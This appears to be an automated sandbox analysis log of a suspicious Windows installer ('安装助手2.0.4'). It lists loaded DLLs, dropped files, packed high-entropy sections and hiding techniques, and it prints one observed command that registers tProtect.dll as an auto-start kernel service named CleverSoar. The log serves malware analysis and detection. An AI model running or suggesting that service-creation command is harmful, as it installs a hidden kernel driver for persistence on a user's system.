Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: rstrtmgr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: ncrypt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: ntasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: slc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: rstrtmgr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: ncrypt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: ntasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: sfc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: sfc_os.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: explorerframe.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpWindow found: window name: TMainFormJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic file information: File size 6130073 > 1048576
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: c:\builddir\threat~1.26\drivers\tfsysmon\objfre_wnet_amd64\amd64\TfSysMon.pdb source: 7zr.exe, 0000000C.00000003.1448557878.0000000002860000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe, 0000000C.00000003.1448478067.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, tProtect.dll.12.dr
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D57D0 GetCurrentProcessId,GetCurrentThreadId,LoadLibraryW,GetProcAddress,FreeLibrary,GetTickCount,QueryPerformanceCounter,GetTickCount,10_2_008D57D0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic PE information: real checksum: 0x0 should be: 0x5dc5ed
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drStatic PE information: real checksum: 0x0 should be: 0x343936
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.0.drStatic PE information: real checksum: 0x0 should be: 0x343936
Source: update.vac.6.drStatic PE information: real checksum: 0x0 should be: 0x378c79
Source: update.vac.2.drStatic PE information: real checksum: 0x0 should be: 0x378c79
Source: hrsw.vbc.6.drStatic PE information: real checksum: 0x0 should be: 0x378c79
Source: tProtect.dll.12.drStatic PE information: real checksum: 0x1eb0f should be: 0xfc66
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic PE information: section name: .didata
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.0.drStatic PE information: section name: .didata
Source: update.vac.2.drStatic PE information: section name: .00cfg
Source: update.vac.2.drStatic PE information: section name: .voltbl
Source: update.vac.2.drStatic PE information: section name: .#.q
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drStatic PE information: section name: .didata
Source: 7zr.exe.6.drStatic PE information: section name: .sxdata
Source: hrsw.vbc.6.drStatic PE information: section name: .00cfg
Source: hrsw.vbc.6.drStatic PE information: section name: .voltbl
Source: hrsw.vbc.6.drStatic PE information: section name: .#.q
Source: update.vac.6.drStatic PE information: section name: .00cfg
Source: update.vac.6.drStatic PE information: section name: .voltbl
Source: update.vac.6.drStatic PE information: section name: .#.q
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA78C5B push ecx; ret 6_2_6CA78C6E
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C920F00 push ss; retn 0001h6_2_6C920F0A
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB46F10 push eax; ret 6_2_6CB46F2E
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAAB9F4 push 004AC35Ch; ret 6_2_6CAABA0E
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB47290 push eax; ret 6_2_6CB472BE
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008545F4 push 008FC35Ch; ret 10_2_0085460E
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008EFB10 push eax; ret 10_2_008EFB2E
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008EFE90 push eax; ret 10_2_008EFEBE
Source: update.vac.2.drStatic PE information: section name: .#.q entropy: 7.193027440134885
Source: hrsw.vbc.6.drStatic PE information: section name: .#.q entropy: 7.193027440134885
Source: update.vac.6.drStatic PE information: section name: .#.q entropy: 7.193027440134885
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Program Files (x86)\Windows NT\hrsw.vbcJump to dropped file
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeFile created: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\update.vacJump to dropped file
Source: C:\Program Files (x86)\Windows NT\7zr.exeFile created: C:\Program Files (x86)\Windows NT\tProtect.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Program Files (x86)\Windows NT\7zr.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeFile created: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Program Files (x86)\Windows NT\hrsw.vbcJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\update.vacJump to dropped file
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
